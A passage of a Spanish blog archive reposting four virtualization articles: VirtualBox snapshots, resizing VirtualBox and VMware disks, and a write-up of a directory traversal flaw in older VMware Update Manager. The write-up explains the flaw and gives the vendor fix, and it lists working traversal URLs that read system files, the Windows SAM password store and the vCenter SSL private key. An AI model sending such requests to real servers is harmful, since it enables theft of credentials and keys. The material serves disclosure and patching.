Mostrando entradas con la etiqueta maquinas virtuales. Mostrar todas las entradas
Mostrando entradas con la etiqueta maquinas virtuales. Mostrar todas las entradas

martes, 22 de julio de 2014

Instantáneas (snapshot) en virtualbox

Las instantáneas (snapshots) consiguen congelar el estado actual de una MV para poder regresar a él en cualquier otro momento y a partir de ahí crear otra línea de tiempo de la MV. Un caso típico de uso de instantáneas, es cuando pretendemos probar un nuevo software, para lo que antes de modificar nada, hacemos una instantánea de la MV y luego ya instalamos el software, lo configuramos, lo probamos y si hay problemas o no nos gusta, usamos la instantánea para regresar al estado en el que estábamos antes de empezar la instalación de dicho software.
Para gestionar las instantáneas, cada MV tiene su propia sección. Se accede pulsando el botón superior derecho tituladoInstantánea, junto al botón Detalles.
Instantaneas 1
Las instantáneas pueden crearse con la MV apagada, pulsando sobre el icono de la máquina fotográfica en el administrador de VB, o encendida, de la misma forma o pulsando sobre el menú Máquina -> Tomar instantánea (tecla host + T).
Las instantáneas son siempre del estado actual de la MV, y para cada una de ellas se crea un nuevo disco donde se irán guardando todos los cambios producidos a partir de ese momento. En la carpeta de la MV pueden verse dichos discos.
Al crear una instantánea se nos pide un nombre para ella y una descripción, que es aconsejable rellenar, al igual que poner un nombre significativo.
Instantaneas 2
Cada vez que arrancamos una MV, se inicia su estado actual, que será un estado más o menos alejado (modificado) de la instantánea con la que estamos trabajando. Esta instantánea de referencia y el estado actual aparecen en negritas en el árbol de instantáneas.
Instantaneas 3
Si queremos cambiar de instantánea y comenzar otra línea de tiempo, mostramos el menú contextual de la instantánea a la que queremos cambiarnos y elegimos Restaurar instantánea.
Instantaneas 4
Si el estado actual que se va a abandonar está modificado con respecto al estado congelado de la instantánea de la que depende, entonces VB nos pregunta si queremos guardar dicho estado actual como una instantánea y no perder así las modificaciones, pudiendo volver a él en cualquier otro momento.
Instantaneas 5
La nueva instantánea y su correspondiente estado actual aparecen ahora en negritas y también se puede observar que el estado actual no tiene la leyenda de "modificado", pues en el preciso momento de cambio de instantánea, el estado actual y la instantánea son exactamente iguales.
Instantaneas 6
Si ahora quisiéramos de nuevo cambiar de instantánea, con el estado actual sin modificar, la pregunta que nos hace VB es diferente a la que nos hizo anteriormente, simplemente es una confirmación de cambio.
Instantaneas 7
Cualquier instantánea puede eliminarse en cualquier momento desde su menú contextual, y todas las instantáneas que cuelguen de ella, colgarán ahora del nivel del que colgaba la que estamos borrando. Este proceso puede durar bastante tiempo, pues se deben copiar todos los cambios que hubieran en el disco de la instantánea que se borra, sobre los discos de las instantáneas hijas, ya que si no fuese así, éstas no podrían iniciarse, pues lo que se guarda en los discos de las instantáneas son los cambios producidos desde la instantánea de la que partió. Haciendo un símil familiar, se copian en las instantáneas hijas, los cambios que se produjeron desde la instantánea abuelo hasta la instantánea padre, que es la que se borra.

http://fpg.hol.es/VirtualBox/instantneas_snapshot.html

miércoles, 2 de julio de 2014

Redimensionar discos Virtual Box

NOTA: Para poder modificar el disco debemos asegurarnos que el tipo de disco es "Reservado dinámicamente"

La modificación es muy sencilla, ya que únicamente deberemos ejecutar este comando desde la ubicación en la que se encuentre el fichero de disco .vdi:


vboxmanage modifyhd nombre_disco.vdi --resize 20480

En este caso el número 20480 correspondería a 20GB. Si queréis ampliar por ejemplo a 30GB deberíais multiplicar 30 * 1024 = 30720.

Si todo funciona correctamente verás el progreso de la ampliación. Si por el contrario ves algo como esto:




0%…
Progress state: VBOX_E_NOT_SUPPORTED
VBoxManage: error: Resize hard disk operation for this format is not implemented yet!

Significa que el disco se creó con tamaño fijo, por lo que no podrás redimensionarlo.

Fuente:  http://www.unsysadminenapuros.com/

jueves, 5 de junio de 2014

Directorio Transversal en Vmware Update Manager

Se ha publicado una vulnerabilidad descubierta en las versiones de Vmware Update Manager inferiores a la 5. El fallo permite navegar por la estructura de directorios del servidor mediante lo que se conoce como “Directorio Transversal” (Directory Traversal). Afortunadamente, la vulnerabilidad no permite ejecutar comandos pero posibilita acceder a diferentes ficheros y directorios existentes en el servidor donde se encuentre instalado Vmware. El error fue descubierto por Alexey Sintsov hace ya tiempo pero no ha sido hasta este mes de noviembre de 2011 que se ha hecho público. Para más información y ver cómo corregir la vulnerabilidad se puede recurrir a la siguiente página oficial de Vmware: http://www.vmware.com/security/advisories/VMSA-2011-0014.html.

Vmware Update Manager es un componente de VSphere que permite mantener actualizado el entorno virtual de Vmware. En la última versión de vSphere, la 5, sólo se actualizan los servidores ESXi y los appliances virtuales existentes pero en versiones anteriores se podían aplicar incluso parches a las diferentes máquinas virtuales Linux y Windows que había configuradas.

Vmware Update Manager puede estar instalado en el mismo servidor que el vCenter y utiliza los siguientes puertos TCP por defecto:

- 8084: SOAP
- 9084: Servidor Web
- 9087: Servidor Web con SSL

Una vulnerabilidad de Directorio Transversal consiste en poder acceder a directorios y ficheros del servidor que en teoría no son visibles o no deberían serlo. También se conoce a la vulnerabilidad como ../ o lo que es lo mismo, ataque “punto punto barra”, que es lo que se utiliza para poder escalar por la estructura de directorios y acceder a los diferentes ficheros. Más información en la página de Owasp: https://www.owasp.org/index.php/Testing_for_Path_Traversal

El servidor vCenter de hacktimes.com es la versión 4.1 y presenta la vulnerabilidad tal y como se puede observar en las siguientes capturas de pantalla:

Fig 1. Acceso al vCenter por el puerto 443

Para explotar la vulnerabilidad es suficiente acceder con un navegador Web al puerto 9084 que es el que, como se ha visto anteriormente, utiliza el servidor Web de Vmware Update Manager, y empezar a navegar por la estructura de directorios del servidor con, en este caso, sistema operativo MS Windows 2008 R2. Algunos ejemplos serían:

Para poder obtener el contenido de los ficheros propios de Windows “win.ini” y “system.ini”:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Windows/system.ini
http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Windows/win.ini


Si el archivo solicitado no existe se obtiene el típico error 404 (not found) en el navegador y si es un directorio y existe se obtiene el error 403 (forbidden). Por ejemplo, al solicitar acceder al directorio “/Program Files” el resultado es el siguiente:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Program%20files/

Fig 2. Error 403 generado al comprobar la existencia del directorio “/Program Files”

Es posible enumerar los diferentes usuarios existentes en el servidor con peticiones similares a:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Users/Administrator/
http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Users/hacktimes/

Fig 3. Error 403 obtenido al preguntar por el directorio del usuario “administrator”


Otros ejemplos son:

Para ver el archivo /etc/host del servidor:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Windows/System32/Drivers/etc/hosts

Para ver el archivo de registro de Windows Update:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Windows/WindowsUpdate.log

Fig 4. Archivo WindowsUpdate.log


Si el equipo analizado tuviera como sistema operativo, MS Windows 2003/XP/2000/NT, es posible recuperar la contraseña del usuario administrador, siempre que no se haya cambiado después de la instalación inicial, con la siguiente petición:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\windows\repair\SAM

A continuación se muestran otros ejemplos con los que obtener más datos e información relativa a la configuración del vCenter:

- El fichero VPXD.CFG es un archivo XML que contiene parámetros de configuración de vCenter como, por ejemplo, la localización de los ficheros de registro (LOGs) del vCenter, el número de ellos que se almacenarán, etc.

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\ProgramData\VMware\VMware VirtualCenter\vpxd.cfg

- Archivo con la clave privada del certificado SSL del vCenter:

http://hacktimes.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key

La solución, tal y como se puede ver en la página de Vmware anterior, pasa por actualizar la versión de Vmare Update Manager a las versiones vCenter Update Manager 4.1 Update 2 y vCenter Update Manager 4.0 Update 4.

Es habitual centrarse en la seguridad de las diferentes máquinas virtuales (VM) y dedicar todos los esfuerzos a securizarlas pero, a menudo, se pasa por alto la seguridad del servidor físico que hace de anfitrión y de las aplicaciones que hospeda como, en este caso, el propio vCenter. En hacktimes.com ya se comentó hace tiempo, de forma genérica, otros riesgos y peligros de la virtualización (http://www.hacktimes.com/riesgos_de_la_virtualizaci_n).

Fuente: http://www.hacktimes.com/directorio_transversal/

jueves, 29 de mayo de 2014

Cómo aumentar el espacio de disco en VMware

¿Alguna ves te has encontrado con problemas de espacio de disco en tu maravilloso VMs al intentar instalar una aplicación? Aquí te damos algunos pasos que te ayudarán a resolver esos problemas en tu estación de trabajo en VMware. Este artículo asume que el lector tiene una familiarización con virtualización y tiene experiencia práctica con los productos VMware como la estación de trabajo.

Pasos


  1. Asegúrate de cumplir con los siguientes pre-requisitos:
    • La máquina virtual está apagada.
      Increase Disk Space in VMware Step 1Bullet1.jpg
    • El disco virtual no está asignado (en Invitado de Windows) o montado (en Invitado de Linux). No puedes expandir un disco virtual mientras está asignado o montado.
      Increase Disk Space in VMware Step 1Bullet2.jpg
    • La maquina virtual no tiene instantáneas.
      Increase Disk Space in VMware Step 1Bullet3.jpg
    • La maquina virtual no está vinculada a un clon o al padre de un clon vinculado.
      Increase Disk Space in VMware Step 1Bullet4.jpg
    • *Para determinar lo anterior de las instantáneas o el clon, revisa la información en la parte superior de la pestaña de Resumen para tu maquina virtual.
      Increase Disk Space in VMware Step 1Bullet5.jpg
  2. Increase Disk Space in VMware Step 2.jpg

    Selecciona VM > Ajustes.
  3. Increase Disk Space in VMware Step 3.jpg

    En la pestaña de Hardware, selecciona Disco Duro del disco virtual que quieras expandir.
  4. Increase Disk Space in VMware Step 4.jpg

    Selecciona Utilidades > Expandir.
  5. Increase Disk Space in VMware Step 5.jpg

    Ajusta el nuevo tamaño máximo para el disco virtual.
  6. Increase Disk Space in VMware Step 6.jpg

    Selecciona Expandir.
  7. Increase Disk Space in VMware Step 7.jpg

    Haz clic en OK después de que el proceso de expansión haya terminado.
  8. Increase Disk Space in VMware Step 8.jpg

    Descarga Gparted iso. Gparted es una herramienta gratuita de administración de discos. Puedes utilizar cualquiera de las herramientas disponibles.
  9. Increase Disk Space in VMware Step 9.jpg

    Monta el ISO en el VM que acabas de expandir y ejecuta VM. Asegúrate de que VM arranque desde el ISO de Gparted.
    • Gparted provee una IU amistosa para hacer particiones y operaciones de disco. El tamaño expandido aparecerá ahora como un espacio sin partición. Cambia el tamaño del volumen existente para reclamar el tamaño expandido. Aplica los cambios y reinicia.
      Increase Disk Space in VMware Step 9Bullet1.jpg
  10. Increase Disk Space in VMware Step 10.jpg

    Al reiniciar, el disco deberá reflejar el nuevo tamaño.

Consejos

  • Usando la línea de comando:
    • Puedes incrementar el tamaño del disco usando la siguiente línea de comando. Pero los mismos pre-requisitos aplican.
  • Desde el símbolo de sistema abre el host:
    • C:Archivos de ProgramaVMwareVMware Workstation> vmware-vdiskmanager.exe -x
    • ejemplo: vmware-vdiskmanager.exe -x 36GB “C:myvmsmyDisk.vmdk”
  • Una vez que el comando de arriba se ejecute, necesitarás repetir los pasos con Gparted para usar el espacio aumentado.
  • Método alterno para incrementar el espacio en disco de cualquier VM:
  • Un método alterno es usar el “VMware Converter”. Esta es una herramienta gratuita que se usa para convertir maquinas físicas en máquinas virtuales (P2V) y también de un tipo de máquina virtual a otro (MS VPC VM a Vmw estación de trabajo VM).
  • Sigue los pasos por defecto en el convertidor. Selecciona la CM y especifica un nuevo tamaño para tu disco. Esto es como si estuvieras creando un clon de un VM existente pero con diferente configuración.

Advertencias

  • Incrementar el espacio en disco de VM que tiene instantáneas y rehacer los discos puede ser peligroso y resulta en una corrupción del VM. Así que es mejor borrar todas las instantáneas para fusionar todos los cambios antes de intentar cambiar el tamaño del disco. A menudo se recomienda hacer un respaldo completo del VM antes de hacer cualquier cambio.
Fuente: http://es.wikihow.com/aumentar-el-espacio-de-disco-en-VMware